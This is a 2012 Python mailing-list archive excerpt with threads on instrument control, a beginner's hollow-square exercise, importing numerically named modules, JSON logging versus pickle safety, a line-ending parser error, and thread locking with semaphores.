light on > the behavior you're seeing. > > -- > Jerry Thanks a thousand times Jerry!!!, the buffering issue has disappeared after following your recommendations. The test program now looks like below and performs as expected. #!/usr/bin/python import time import os import sys timesleepdefault=5 print "Enter name of data file", filename = raw_input() #the following line is very important, especially the buffering=0 usbkeith = open('/dev/usbtmc1','w+', buffering=0) usbkeith.write("*IDN?\n") identification=usbkeith.read().strip() print 'Found device: ',identification usbkeith.write("SYST:REM" + "\n") usbkeith.write(":SENS:VOLT:PROT 1.5\n") keithdata = open(filename,'w') usbkeith.write(":OUTP:STAT ON\n") for number, current_in in enumerate(('0.025', '0.050', '0.075', '0.100'), 1): usbkeith.write(":SOUR:CURR %s\n" % current_in) time.sleep(timesleepdefault) usbkeith.write(":MEAS:CURR?\n") measurementcurr=usbkeith.read() print 'Measured current %d: ' % number, measurementcurr usbkeith.write(":MEAS:VOLT?\n") measurementvolt=usbkeith.read() print 'Measured voltage %d: ' % number, measurementvolt keithdata.write(measurementcurr.strip()+' '+measurementvolt) usbkeith.write(":OUTP:STAT OFF\n") print "Goodbye, data logged in file:" print filename usbkeith.close() keithdata.close() regards, Jean From siimnurges at gmail.com Wed Dec 12 11:48:01 2012 From: siimnurges at gmail.com (siimnurges at gmail.com) Date: Wed, 12 Dec 2012 08:48:01 -0800 (PST) Subject: Hollow square program Message-ID: <1aa414f0-1e4c-424b-abc6-8e681631788b@googlegroups.com> Hey, I need to write a program that prints out a square, which is empty on the inside. So far, I've made a program that outputs a square, which is full on the inside. P.S. Between every asterisk there needs to be a space(" ") Here's my code: print("Rows: ") rows = int(input()) for i in range(rows): for j in range(rows): print("* ", end="") print("") From rosuav at gmail.com Wed Dec 12 11:59:58 2012 From: rosuav at gmail.com (Chris Angelico) Date: Thu, 13 Dec 2012 03:59:58 +1100 Subject: Hollow square program In-Reply-To: <1aa414f0-1e4c-424b-abc6-8e681631788b@googlegroups.com> References: <1aa414f0-1e4c-424b-abc6-8e681631788b@googlegroups.com> Message-ID: On Thu, Dec 13, 2012 at 3:48 AM, wrote: > Hey, I need to write a program that prints out a square, which is empty on the inside. So far, I've made a program that outputs a square, which is full on the inside. > P.S. Between every asterisk there needs to be a space(" ") > Here's my code: > > print("Rows: ") > rows = int(input()) > for i in range(rows): > for j in range(rows): > print("* ", end="") > print("") You're going to need some kind of special handling of the beginning and end of each row, except for the first and last rows. Since you have i and j counting up from 0 to (rows-1), you can do this by simply checking those two variables and then decide whether to print out a star or a space (or, since there's spaces after the stars, whether to print out a star and a space or two spaces). Since you're being taught loops, I'm confident your course will have already taught you how to make a decision in your code. It's another Python statement. Next time, by the way, you may want to explicitly state that this is part of a course you're studying. Otherwise, you may come across as sneakily trying to cheat your way through the course, which I'm sure you would never do, would you? :) We're happy to provide hints to help you understand Python, but not to simply give you the code (and if anybody does, I hope you have the integrity, and desire to learn, to ignore that post and work it out for yourself). Have fun! ChrisA From msirenef at lightbird.net Wed Dec 12 12:18:29 2012 From: msirenef at lightbird.net (Mitya Sirenef) Date: Wed, 12 Dec 2012 12:18:29 -0500 Subject: Hollow square program In-Reply-To: <1aa414f0-1e4c-424b-abc6-8e681631788b@googlegroups.com> References: <1aa414f0-1e4c-424b-abc6-8e681631788b@googlegroups.com> Message-ID: <50C8BC65.4060708@lightbird.net> On 12/12/2012 11:48 AM, siimnurges at gmail.com wrote: > Hey, I need to write a program that prints out a square, which is empty on the inside. So far, I've made a program that outputs a square, which is full on the inside. > P.S. Between every asterisk there needs to be a space(" ") > Here's my code: > > print("Rows: ") > rows = int(input()) > for i in range(rows): > for j in range(rows): > print("* ", end="") > print("") Small note: print("") is the same as print() The general idea is: make a string that represents top/bottom of the square, make a string for the middle part, print out the first string, then print out middle part n-2 times, then print out first string again. Did you know you can multiply strings? e.g.: space = ' ' border = '*' line = border + space*70 -m -- Lark's Tongue Guide to Python: http://lightbird.net/larks/ From siimnurges at gmail.com Wed Dec 12 12:22:30 2012 From: siimnurges at gmail.com (siimnurges at gmail.com) Date: Wed, 12 Dec 2012 09:22:30 -0800 (PST) Subject: Hollow square program In-Reply-To: References: <1aa414f0-1e4c-424b-abc6-8e681631788b@googlegroups.com> Message-ID: <1ab10bb2-9036-414b-af24-0a3d2d32c9d2@googlegroups.com> Well, I did some modifications and got a hollow square, but the columns aren't perfectly aligned with the rows (at least if input is 5. Thanks for the help :) rows = int(input()) s1="* "*rows s2="*"+(rows-2)*" "+"*" print(s1) for s in range(rows-2): print(s2) print(s1) From siimnurges at gmail.com Wed Dec 12 12:22:30 2012 From: siimnurges at gmail.com (siimnurges at gmail.com) Date: Wed, 12 Dec 2012 09:22:30 -0800 (PST) Subject: Hollow square program In-Reply-To: References: <1aa414f0-1e4c-424b-abc6-8e681631788b@googlegroups.com> Message-ID: <1ab10bb2-9036-414b-af24-0a3d2d32c9d2@googlegroups.com> Well, I did some modifications and got a hollow square, but the columns aren't perfectly aligned with the rows (at least if input is 5. Thanks for the help :) rows = int(input()) s1="* "*rows s2="*"+(rows-2)*" "+"*" print(s1) for s in range(rows-2): print(s2) print(s1) From siimnurges at gmail.com Wed Dec 12 12:25:59 2012 From: siimnurges at gmail.com (siimnurges at gmail.com) Date: Wed, 12 Dec 2012 09:25:59 -0800 (PST) Subject: Hollow square program In-Reply-To: References: <1aa414f0-1e4c-424b-abc6-8e681631788b@googlegroups.com> Message-ID: <7f16f3d5-4904-4880-af56-20b8d11c474b@googlegroups.com> Well, I did some modifications, but the columns aren't perfectly aligned with the rows. rows = int(input()) s1="* "*rows s2="*"+(rows-2)*" "+"*" print(s1) for s in range(rows-2): print(s2) print(s1) From siimnurges at gmail.com Wed Dec 12 12:25:59 2012 From: siimnurges at gmail.com (siimnurges at gmail.com) Date: Wed, 12 Dec 2012 09:25:59 -0800 (PST) Subject: Hollow square program In-Reply-To: References: <1aa414f0-1e4c-424b-abc6-8e681631788b@googlegroups.com> Message-ID: <7f16f3d5-4904-4880-af56-20b8d11c474b@googlegroups.com> Well, I did some modifications, but the columns aren't perfectly aligned with the rows. rows = int(input()) s1="* "*rows s2="*"+(rows-2)*" "+"*" print(s1) for s in range(rows-2): print(s2) print(s1) From clp2 at rebertia.com Wed Dec 12 12:33:24 2012 From: clp2 at rebertia.com (Chris Rebert) Date: Wed, 12 Dec 2012 09:33:24 -0800 Subject: JSON logging ? In-Reply-To: References: Message-ID: On Dec 11, 2012 7:33 AM, "Bart Thate" wrote: > pickle uses eval still ? or is is considered safe now ? i was told not to use eval() stuff on data. I don't believe pickle uses eval() per se, but per the red warning box in its docs, it's still not safe when given untrusted input. IIRC, among other things, in order to unpickle non-built-in classes, it is capable of performing imports; this feature is rife for abuse by an adversary. -------------- next part -------------- An HTML attachment was scrubbed... URL: From ian.g.kelly at gmail.com Wed Dec 12 12:35:19 2012 From: ian.g.kelly at gmail.com (Ian Kelly) Date: Wed, 12 Dec 2012 10:35:19 -0700 Subject: Hollow square program In-Reply-To: <1ab10bb2-9036-414b-af24-0a3d2d32c9d2@googlegroups.com> References: <1aa414f0-1e4c-424b-abc6-8e681631788b@googlegroups.com> <1ab10bb2-9036-414b-af24-0a3d2d32c9d2@googlegroups.com> Message-ID: On Wed, Dec 12, 2012 at 10:22 AM, wrote: > Well, I did some modifications and got a hollow square, but the columns aren't perfectly aligned with the rows (at least if input is 5. Thanks for the help :) > > rows = int(input()) > s1="* "*rows > s2="*"+(rows-2)*" "+"*" > print(s1) > for s in range(rows-2): > print(s2) > print(s1) The (rows-2)*" " in s2 is only enough spaces to account for the (rows-2) inner * characters in s1. You also need additional spaces in s2 to match up with for the (rows-1) space characters in between the * characters in s1. From pjmakey2 at gmail.com Wed Dec 12 12:38:04 2012 From: pjmakey2 at gmail.com (peter) Date: Wed, 12 Dec 2012 14:38:04 -0300 Subject: samba 4 release Message-ID: <50C8C0FC.1060501@gmail.com> Hellou. Samba4 first release, with python interface for the internals api, and a implementation of the DC in python :). Viva la python!!!! From pjmakey2 at gmail.com Wed Dec 12 12:39:05 2012 From: pjmakey2 at gmail.com (peter) Date: Wed, 12 Dec 2012 14:39:05 -0300 Subject: samba 4 release In-Reply-To: <50C8C0FC.1060501@gmail.com> References: <50C8C0FC.1060501@gmail.com> Message-ID: <50C8C139.3080703@gmail.com> On 12/12/2012 02:38 PM, peter wrote: > Hellou. > > Samba4 first release, with python interface for the internals api, > and a implementation of the DC in python :). > > Viva la python!!!! I forgot to put the link of the good news https://www.samba.org/samba/history/samba-4.0.0.html From yhu221300 at gmail.com Wed Dec 12 12:42:16 2012 From: yhu221300 at gmail.com (Yong Hu) Date: Wed, 12 Dec 2012 09:42:16 -0800 (PST) Subject: How to import module whose filename starts number Message-ID: <39662302-5d9c-44fe-8ed2-e96bbca08714@googlegroups.com> I have a few scripts whose file names start with numbers. For example, 01_step1.py, 02_step2.py I tried to import them in another script by "import 01_step1" or "from 01_step1 import *". Both failed, saying "SyntaxError: invalid syntax" Is there anyway to import those files? The file name must start with characters? From __peter__ at web.de Wed Dec 12 12:44:21 2012 From: __peter__ at web.de (Peter Otten) Date: Wed, 12 Dec 2012 18:44:21 +0100 Subject: Hollow square program References: <1aa414f0-1e4c-424b-abc6-8e681631788b@googlegroups.com> <1ab10bb2-9036-414b-af24-0a3d2d32c9d2@googlegroups.com> Message-ID: siimnurges at gmail.com wrote: > Well, I did some modifications and got a hollow square, but the columns > aren't perfectly aligned with the rows (at least if input is 5. Thanks for > the help :) > > rows = int(input()) > s1="* "*rows > s2="*"+(rows-2)*" "+"*" > print(s1) > for s in range(rows-2): > print(s2) > print(s1) The first and last row have an extra space between the asterisks. For the square to look like a square you need to add these to the other rows (and thus s2), too. Also note that your code prints a minimum of two rows. From benjamin.kaplan at case.edu Wed Dec 12 12:50:42 2012 From: benjamin.kaplan at case.edu (Benjamin Kaplan) Date: Wed, 12 Dec 2012 09:50:42 -0800 Subject: How to import module whose filename starts number In-Reply-To: <39662302-5d9c-44fe-8ed2-e96bbca08714@googlegroups.com> References: <39662302-5d9c-44fe-8ed2-e96bbca08714@googlegroups.com> Message-ID: On Dec 12, 2012 9:47 AM, "Yong Hu" wrote: > > I have a few scripts whose file names start with numbers. For example, 01_step1.py, 02_step2.py > > I tried to import them in another script by "import 01_step1" or "from 01_step1 import *". Both failed, saying "SyntaxError: invalid syntax" > > Is there anyway to import those files? The file name must start with characters? > -- I believe the restriction is that the module names must be valid identifiers. You may still be able to import them using __import__ and then assign the resulting module object to a valid name. > http://mail.python.org/mailman/listinfo/python-list -------------- next part -------------- An HTML attachment was scrubbed... URL: From siimnurges at gmail.com Wed Dec 12 12:52:21 2012 From: siimnurges at gmail.com (siimnurges at gmail.com) Date: Wed, 12 Dec 2012 09:52:21 -0800 (PST) Subject: Hollow square program In-Reply-To: References: <1aa414f0-1e4c-424b-abc6-8e681631788b@googlegroups.com> <1ab10bb2-9036-414b-af24-0a3d2d32c9d2@googlegroups.com> Message-ID: Thanks, got it now :) From siimnurges at gmail.com Wed Dec 12 12:52:21 2012 From: siimnurges at gmail.com (siimnurges at gmail.com) Date: Wed, 12 Dec 2012 09:52:21 -0800 (PST) Subject: Hollow square program In-Reply-To: References: <1aa414f0-1e4c-424b-abc6-8e681631788b@googlegroups.com> <1ab10bb2-9036-414b-af24-0a3d2d32c9d2@googlegroups.com> Message-ID: Thanks, got it now :) From d at davea.name Wed Dec 12 12:53:27 2012 From: d at davea.name (Dave Angel) Date: Wed, 12 Dec 2012 12:53:27 -0500 Subject: How to import module whose filename starts number In-Reply-To: <39662302-5d9c-44fe-8ed2-e96bbca08714@googlegroups.com> References: <39662302-5d9c-44fe-8ed2-e96bbca08714@googlegroups.com> Message-ID: <50C8C497.7010600@davea.name> On 12/12/2012 12:42 PM, Yong Hu wrote: > I have a few scripts whose file names start with numbers. For example, 01_step1.py, 02_step2.py > > I tried to import them in another script by "import 01_step1" or "from 01_step1 import *". Both failed, saying "SyntaxError: invalid syntax" > > Is there anyway to import those files? The file name must start with characters? A module name is like any other symbol in Python. It must start with a letter (one of a hundred thousand or so), and have only letters or digits within it. Plus underscore, and maybe a couple more special characters. mv would be your best bet. But if you HAVE to have a strange name, try using the __import__() function. -- DaveA From __peter__ at web.de Wed Dec 12 12:57:29 2012 From: __peter__ at web.de (Peter Otten) Date: Wed, 12 Dec 2012 18:57:29 +0100 Subject: How to import module whose filename starts number References: <39662302-5d9c-44fe-8ed2-e96bbca08714@googlegroups.com> Message-ID: Yong Hu wrote: > I have a few scripts whose file names start with numbers. For example, > 01_step1.py, 02_step2.py > > I tried to import them in another script by "import 01_step1" or "from > 01_step1 import *". Both failed, saying "SyntaxError: invalid syntax" > > Is there anyway to import those files? The file name must start with > characters? Or an underscore. The module name must be a valid identifier. In CPython you can hack around that restriction with step01 = __import__("01_step1") but this "solution" is not portable and I recommend that you rename your scripts instead. From dave at cinege.com Wed Dec 12 13:13:31 2012 From: dave at cinege.com (Dave Cinege) Date: Wed, 12 Dec 2012 13:13:31 -0500 Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes In-Reply-To: <20121212052511.293728de@dilbert> References: <20121212052511.293728de@dilbert> Message-ID: <201212121313.32196.dave@cinege.com> On Wednesday 12 December 2012 05:25:11 D'Arcy J.M. Cain wrote: As a 16yr OSS vet I know that for every 1 person that that actually creates something there will always be 2000 people to bitch about it. My skin isn't thin, I just don't give a shit to listen to anyone one that doesn't get it. The point to Thesaurus for those that want to pay attention: The concept in these ~25 lines of code have changed the way I program Python and reduced existing functionally identical code up to 30%...and I like the code better. If that doesn't peak your interest, then move on...nothing here for you to see. If you feel it needs to be expanded/corrected, do it and share it. If you can do it better, re-implement it. That's why I sent it to the mailing list. > On Wed, 12 Dec 2012 17:44:24 +1100 > > Chris Angelico wrote: > > On Wed, Dec 12, 2012 at 5:34 PM, Steven D'Aprano > > > > wrote: > > > and you consider this "not productive, not worth my time". Code > > > review with you must be *all* sorts of fun. > > > > He never asked for code review :) > > I think by posting it he sort of did. He should probably grow a > thicker skin before he does so again though. From alex.e.susu at gmail.com Wed Dec 12 14:10:43 2012 From: alex.e.susu at gmail.com (RCU) Date: Wed, 12 Dec 2012 21:10:43 +0200 Subject: Python parser problem Message-ID: <50C8D6B3.40207@gmail.com> Hello. I would like to report a parser bug manifesting on Python 2.5, 2.7 (but not on 2.2) and 3.3. Please see the attached script. Basically this bug appeared after applying PythonTidy on a valid script. More exactly, when running: python -c "import iCam_GIT5_5" I get: Traceback (most recent call last): File "", line 1, in File "iCam_GIT5_5.py", line 60 ^ SyntaxError: invalid syntax Actually, the error reported by Python is a bug, as far as I see: the line 60 reported in the script does not actually contain the text reported in the error, and this makes quite difficult locating the so-called error. In fact the error is at script line 30: we should have all the code on one line, like this playlistToUse = youtubeClient.AddPlaylist(playlistTitle, playlistTitle, playlist_private=False). The "\" used in the script to break the line in 2 is a reminiscence of running PythonTidy-1.22.python (so fixing this bug would be directly relevant when using PythonTidy). With this occasion I would like to ask also what are the limits of the Python 2.x and 3.x parser. Where can I find what are the limits on the size/lines of the parsed script? Best regards, Alex -------------- next part -------------- CURRENT_RELEASE_TIME = '2012_12_10_13_00_00' NEW_BT_FORMAT_TO_ALLOW_PLAYING_FILE_EVEN_IN_INBOX = True def SendAlarmMessageToYouTubePlaylist(message): global youtubeClient, youtubeClientAlreadyConnected global YOUTUBE_TEST_CLIENT_ID, googleUsername, youtubeDeveloperKey global uploadMediaToYouTube global deviceId if MY_DEBUG_STDOUT: print 'Entered SendAlarmMessageToYouTubePlaylist() at %s.' % GetCurrentDateTimeStringWithMilliseconds() sys.stdout.flush() if uploadMediaToYouTube == 0: uploadMediaToYouTube = 1 if youtubeClientAlreadyConnected == False: if gdataModulesImported == False: ImportGdataModules() connResult = ConnectToYouTubeGData() try: playlistTitle = 'iCam_alarm_' + deviceId if False: playlistDescription = playlistTitle playlistToUse = None feed = youtubeClient.GetYouTubePlaylistFeed() for myEntry in feed.entry: myEntryTitle = myEntry.title.text myEntryIdStr = myEntry.id.text.split('/')[-1] if playlistTitle == myEntryTitle: playlistToUse = myEntry break if playlistToUse is None: playlistToUse = \ youtubeClient.AddPlaylist(playlistTitle, playlistTitle, playlist_private=False) playlistDescription = '' newPlaylistDescription = 'Alarm... motion degree... audio degree... %s.' % message playlistToUse = None feed = youtubeClient.GetYouTubePlaylistFeed() for myEntry in feed.entry: myEntryTitle = myEntry.title.text myEntryIdStr = myEntry.id.text.split('/')[-1] if myEntryTitle == playlistTitle: if MY_DEBUG_STDOUT: print 'SendAlarmMessageToYouTubePlaylist(): Feed matched myEntry =', myEntry print 'SendAlarmMessageToYouTubePlaylist(): myEntry.content =', myEntry.content print 'SendAlarmMessageToYouTubePlaylist(): myEntry.description = %s' % str(myEntry.description) sys.stdout.flush() playlistDescription = str(myEntry.description).split('>')[-2].split(' References: Message-ID: Thanks for your reply Chris, good to be updated on the pickle stuff, too bad it is still not safe for use. But hee i prefer JSON above pickle anyways so ;] As to using the logging package to send JSON dict over, the logging stuff should be able to be converted to handle that. Just 2 things that need to be changes. The logging package basically sends over an dict as well.. makePickle on the SocketHandler in order to send JSON instead of pickled stuff def makePickle(self, record): """ Pickles the record in binary format with a length prefix, and returns it ready for transmission across the socket. """ ei = record.exc_info if ei: # just to get traceback text into record.exc_text ... dummy = self.format(record) # See issue #14436: If msg or args are objects, they may not be # available on the receiving end. So we convert the msg % args # to a string, save it as msg and zap the args. d = dict(record.__dict__) d['msg'] = record.getMessage() d['args'] = None d['exc_info'] = None s = pickle.dumps(d, 1) slen = struct.pack(">L", len(s)) return slen + s and this function on the receiving end to convert the JSON stuff back to a logging record (want to hook more stuff into this function, such that the send JSON is converted into an events that gets send to my callback handlers.) def makeLogRecord(dict): """ Make a LogRecord whose attributes are defined by the specified dictionary, This function is useful for converting a logging event received over a socket connection (which is sent as a dictionary) into a LogRecord instance. """ rv = _logRecordFactory(None, None, "", 0, "", (), None, None) rv.__dict__.update(dict) return rv What i don't see though is where the receiving code recides ? How am i supposed to handle logrecords that are coming from remote, as better phrased maybe .. where can i hook my (changed) makeLogRecord into ? Thnx for the reply dude, helps me enormously ;] Bart On Wed, Dec 12, 2012 at 6:33 PM, Chris Rebert wrote: > On Dec 11, 2012 7:33 AM, "Bart Thate" wrote: > > > > pickle uses eval still ? or is is considered safe now ? i was told not > to use eval() stuff on data. > > I don't believe pickle uses eval() per se, but per the red warning box in > its docs, it's still not safe when given untrusted input. IIRC, among other > things, in order to unpickle non-built-in classes, it is capable of > performing imports; this feature is rife for abuse by an adversary. > -------------- next part -------------- An HTML attachment was scrubbed... URL: From dave at cinege.com Wed Dec 12 14:20:19 2012 From: dave at cinege.com (Dave Cinege) Date: Wed, 12 Dec 2012 14:20:19 -0500 Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes In-Reply-To: References: <201212102248.50766.dave@cinege.com> Message-ID: <201212121420.20184.dave@cinege.com> On Tuesday 11 December 2012 01:41:38 Ian Kelly wrote: > I have a few critiques on the code. First, you might want to use > __getattribute__ instead of __getattr__. Otherwise you'll end up File "/home/dcinege/src/thesaurus/thesaurus.py", line 84, in __getattribute__ return self.__getitem__(name) RuntimeError: maximum recursion depth exceeded while calling a Python object This takes me into the same hell as when I was trying to implement this as a class. Someone else would have to take the time to do this. __getattr__ doing what I expect it to do, for what i do. Dave From feedbackflow at gmail.com Wed Dec 12 14:21:50 2012 From: feedbackflow at gmail.com (Bart Thate) Date: Wed, 12 Dec 2012 20:21:50 +0100 Subject: JSON logging ? In-Reply-To: References: Message-ID: Ha ! spoke too soon. Was reading this: http://docs.python.org/2/howto/logging-cookbook.htm which explains it all ;] Place to be is the LogRecordStreamHandler ;] Something to play with, first trying out to get a communication channel running over DCC CHAT ... On Wed, Dec 12, 2012 at 8:17 PM, Bart Thate wrote: > Thanks for your reply Chris, > > good to be updated on the pickle stuff, too bad it is still not safe for > use. But hee i prefer JSON above pickle anyways so ;] > > As to using the logging package to send JSON dict over, the logging stuff > should be able to be converted to handle that. Just 2 things that need to > be changes. The logging package basically sends over an dict as well.. > > makePickle on the SocketHandler in order to send JSON instead of pickled > stuff > > def makePickle(self, record): > """ > Pickles the record in binary format with a length prefix, and > returns it ready for transmission across the socket. > """ > ei = record.exc_info > if ei: > # just to get traceback text into record.exc_text ... > dummy = self.format(record) > # See issue #14436: If msg or args are objects, they may not be > # available on the receiving end. So we convert the msg % args > # to a string, save it as msg and zap the args. > d = dict(record.__dict__) > d['msg'] = record.getMessage() > d['args'] = None > d['exc_info'] = None > s = pickle.dumps(d, 1) > slen = struct.pack(">L", len(s)) > return slen + s > > and this function on the receiving end to convert the JSON stuff back to a > logging record (want to hook more stuff into this function, such that the > send JSON is converted into an events that gets send to my callback > handlers.) > > def makeLogRecord(dict): > """ > Make a LogRecord whose attributes are defined by the specified > dictionary, > This function is useful for converting a logging event received over > a socket connection (which is sent as a dictionary) into a LogRecord > instance. > """ > rv = _logRecordFactory(None, None, "", 0, "", (), None, None) > rv.__dict__.update(dict) > return rv > > What i don't see though is where the receiving code recides ? > How am i supposed to handle logrecords that are coming from remote, as > better phrased maybe .. where can i hook my (changed) makeLogRecord into ? > > Thnx for the reply dude, helps me enormously ;] > > Bart > > > > On Wed, Dec 12, 2012 at 6:33 PM, Chris Rebert wrote: > >> On Dec 11, 2012 7:33 AM, "Bart Thate" wrote: >> >> >> > pickle uses eval still ? or is is considered safe now ? i was told not >> to use eval() stuff on data. >> >> I don't believe pickle uses eval() per se, but per the red warning box in >> its docs, it's still not safe when given untrusted input. IIRC, among other >> things, in order to unpickle non-built-in classes, it is capable of >> performing imports; this feature is rife for abuse by an adversary. >> > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From d at davea.name Wed Dec 12 14:59:05 2012 From: d at davea.name (Dave Angel) Date: Wed, 12 Dec 2012 14:59:05 -0500 Subject: Python parser problem In-Reply-To: <50C8D6B3.40207@gmail.com> References: <50C8D6B3.40207@gmail.com> Message-ID: <50C8E209.6080803@davea.name> On 12/12/2012 02:10 PM, RCU wrote: > Hello. > I would like to report a parser bug manifesting on Python 2.5, 2.7 > (but not on 2.2) and 3.3. > Please see the attached script. > Basically this bug appeared after applying PythonTidy on a valid > script. > > More exactly, when running: > python -c "import iCam_GIT5_5" > I get: > Traceback (most recent call last): > File "", line 1, in > File "iCam_GIT5_5.py", line 60 > > ^ > SyntaxError: invalid syntax > > Actually, the error reported by Python is a bug, as far as I see: > the line 60 reported in the script does not actually contain the text > reported in the error, and this makes quite difficult locating the > so-called error. No, the error is on line 60. You have blank line between each line, but your editor apparently doesn't show you that. Your line-endings are messed up. Here's a dump of the first two lines. (using hexdump -C) 00000000 43 55 52 52 45 4e 54 5f 52 45 4c 45 41 53 45 5f |CURRENT_RELEASE_| 00000010 54 49 4d 45 20 3d 20 27 32 30 31 32 5f 31 32 5f |TIME = '2012_12_| 00000020 31 30 5f 31 33 5f 30 30 5f 30 30 27 0d 0d 0a 4e |10_13_00_00'...N| Notice that the line ends with 0d0d0a, or \r\r\n. That's not valid. Apparently python's logic considers that as a line ending with \r, followed by a blank line ending with\r\n. > In fact the error is at script line 30: we should have all the > code on one line, like this > playlistToUse = youtubeClient.AddPlaylist(playlistTitle, > playlistTitle, playlist_private=False). > The "\" used in the script to break the line in 2 is a > reminiscence of running PythonTidy-1.22.python (so fixing this bug > would be directly relevant when using PythonTidy). Nothing wrong with ending with a backslash for continuation. Backslash continues the line onto the next one, which is blank. Remove the extra \r there and it'll be fine. > > With this occasion I would like to ask also what are the limits of > the Python 2.x and 3.x parser. Where can I find what are the limits on > the size/lines of the parsed script? > Can't help there. -- DaveA From wanderer at dialup4less.com Wed Dec 12 15:11:35 2012 From: wanderer at dialup4less.com (Wanderer) Date: Wed, 12 Dec 2012 12:11:35 -0800 (PST) Subject: Preventing tread collisions Message-ID: <3003d531-217c-4c61-a967-161cac71a5f7@googlegroups.com> I have a program that has a main GUI and a camera. In the main GUI, you can manipulate the images taken by the camera. You can also use the menu to check the camera's settings. Images are taken by the camera in a separate thread, so the long exposures don't block the GUI. I block conflicts between the camera snapshot thread and the main thread by setting a flag called self.cameraActive. I check to see if the cameraActive flag is false and set the cameraActive to True just before starting the thread. I generate an event on exiting the thread which sets the cameraActive flag to False. I also check and set and reset the flag in all the menu commands that access the camera. Like this. def onProperties(self, event): """ Display a message window with the camera properties event -- The camera properties menu event """ # Update the temperature if not self.cameraActive: self.cameraActive = True self.camera.getTemperature() camDict = self.camera.getPropertyDict() self.cameraActive = False else: camDict = {'Error': 'Camera Busy'} dictMessage(camDict, 'Camera Properties') This works but my question is, is there a better way using semaphores, locks or something else to prevent collisions between threads? Thanks From malaclypse2 at gmail.com Wed Dec 12 15:18:45 2012 From: malaclypse2 at gmail.com (Jerry Hill) Date: Wed, 12 Dec 2012 15:18:45 -0500 Subject: Python parser problem In-Reply-To: <50C8D6B3.40207@gmail.com> References: <50C8D6B3.40207@gmail.com> Message-ID: On Wed, Dec 12, 2012 at 2:10 PM, RCU wrote: > With this occasion I would like to ask also what are the limits of the > Python 2.x and 3.x parser. Where can I find what are the limits on the > size/lines of the parsed script? The Python Language Reference is probably what you're looking for: http://docs.python.org/2/reference/index.html See, particularly, section 2 about lexical analysis and possibly section 9 for the grammar. The short answer though, is that python doesn't have any limits on the line length or the size of a script, other than that execution will obviously fail if you run out of memory while parsing or compiling the script. PEP 8 (http://www.python.org/dev/peps/pep-0008/) is the Python style guide, and it does have some recommendations about line length (http://www.python.org/dev/peps/pep-0008/#maximum-line-length). That document suggests a maximum length of 79 characters per line, and that's probably what PythonTidy was trying to accomplish by splitting your line. -- Jerry From d at davea.name Wed Dec 12 15:29:18 2012 From: d at davea.name (Dave Angel) Date: Wed, 12 Dec 2012 15:29:18 -0500 Subject: Preventing tread collisions In-Reply-To: <3003d531-217c-4c61-a967-161cac71a5f7@googlegroups.com> References: <3003d531-217c-4c61-a967-161cac71a5f7@googlegroups.com> Message-ID: <50C8E91E.7010402@davea.name> On 12/12/2012 03:11 PM, Wanderer wrote: > I have a program that has a main GUI and a camera. In the main GUI, you can manipulate the images taken by the camera. You can also use the menu to check the camera's settings. Images are taken by the camera in a separate thread, so the long exposures don't block the GUI. I block conflicts between the camera snapshot thread and the main thread by setting a flag called self.cameraActive. I check to see if the cameraActive flag is false and set the cameraActive to True just before starting the thread. I generate an event on exiting the thread which sets the cameraActive flag to False. I also check and set and reset the flag in all the menu commands that access the camera. Like this. > > def onProperties(self, event): > """ Display a message window with the camera properties > event -- The camera properties menu event > """ > # Update the temperature > if not self.cameraActive: > self.cameraActive = True > self.camera.getTemperature() > camDict = self.camera.getPropertyDict() > self.cameraActive = False > else: > camDict = {'Error': 'Camera Busy'} > dictMessage(camDict, 'Camera Properties') > > This works I don't think so. in between the if and the assignment, another thread could get in there and also set the flag. Then when either one of them finishes, it'll clear the flag and the other code is unprotected. For semaphores between multiple threads, you either have to define only a single thread at any given moment being permitted to modify it, or you have to use lower-level primitives, sometimes called test+set operation. i don't know the "right" way to do this in Python, but this isn't it. > but my question is, is there a better way using semaphores, locks or something else to prevent collisions between threads? > > Thanks -- DaveA From ian.g.kelly at gmail.com Wed Dec 12 15:42:36 2012 From: ian.g.kelly at gmail.com (Ian Kelly) Date: Wed, 12 Dec 2012 13:42:36 -0700 Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes In-Reply-To: <201212121420.20184.dave@cinege.com> References: <201212102248.50766.dave@cinege.com> <201212121420.20184.dave@cinege.com> Message-ID: On Wed, Dec 12, 2012 at 12:20 PM, Dave Cinege wrote: > On Tuesday 11 December 2012 01:41:38 Ian Kelly wrote: > >> I have a few critiques on the code. First, you might want to use >> __getattribute__ instead of __getattr__. Otherwise you'll end up > > File "/home/dcinege/src/thesaurus/thesaurus.py", line 84, in > __getattribute__ > return self.__getitem__(name) > RuntimeError: maximum recursion depth exceeded while calling a Python object > > This takes me into the same hell as when I was trying to implement this as a > class. Someone else would have to take the time to do this. __getattr__ doing > what I expect it to do, for what i do. def __getattribute__(self, name): if name.startswith('__') and name.endswith('__'): return super(Thesaurus, self).__getattribute__(name) return self.__getitem__(name) From python at mrabarnett.plus.com Wed Dec 12 15:53:28 2012 From: python at mrabarnett.plus.com (MRAB) Date: Wed, 12 Dec 2012 20:53:28 +0000 Subject: Preventing tread collisions In-Reply-To: <3003d531-217c-4c61-a967-161cac71a5f7@googlegroups.com> References: <3003d531-217c-4c61-a967-161cac71a5f7@googlegroups.com> Message-ID: <50C8EEC8.8070300@mrabarnett.plus.com> On 2012-12-12 20:11, Wanderer wrote: > I have a program that has a main GUI and a camera. In the main GUI, you can manipulate the images taken by the camera. You can also use the menu to check the camera's settings. Images are taken by the camera in a separate thread, so the long exposures don't block the GUI. I block conflicts between the camera snapshot thread and the main thread by setting a flag called self.cameraActive. I check to see if the cameraActive flag is false and set the cameraActive to True just before starting the thread. I generate an event on exiting the thread which sets the cameraActive flag to False. I also check and set and reset the flag in all the menu commands that access the camera. Like this. > > def onProperties(self, event): > """ Display a message window with the camera properties > event -- The camera properties menu event > """ > # Update the temperature > if not self.cameraActive: > self.cameraActive = True > self.camera.getTemperature() > camDict = self.camera.getPropertyDict() > self.cameraActive = False > else: > camDict = {'Error': 'Camera Busy'} > dictMessage(camDict, 'Camera Properties') > > This works but my question is, is there a better way using semaphores, locks or something else to prevent collisions between threads? > That suffers from a race condition in that self.cameraActive might be False when it's checked in the 'if' condition but set to True just afterwards by the other thread. You could try a non-blocking semaphore: def __init__(self): self.cameraActive = Semaphore() def onProperties(self, event): """ Display a message window with the camera properties event -- The camera properties menu event """ # Update the temperature if self.cameraActive.acquire(False): # Non-blocking # Successfully acquired the semaphore, so the camera wasn't active self.camera.getTemperature() camDict = self.camera.getPropertyDict() self.cameraActive.release() 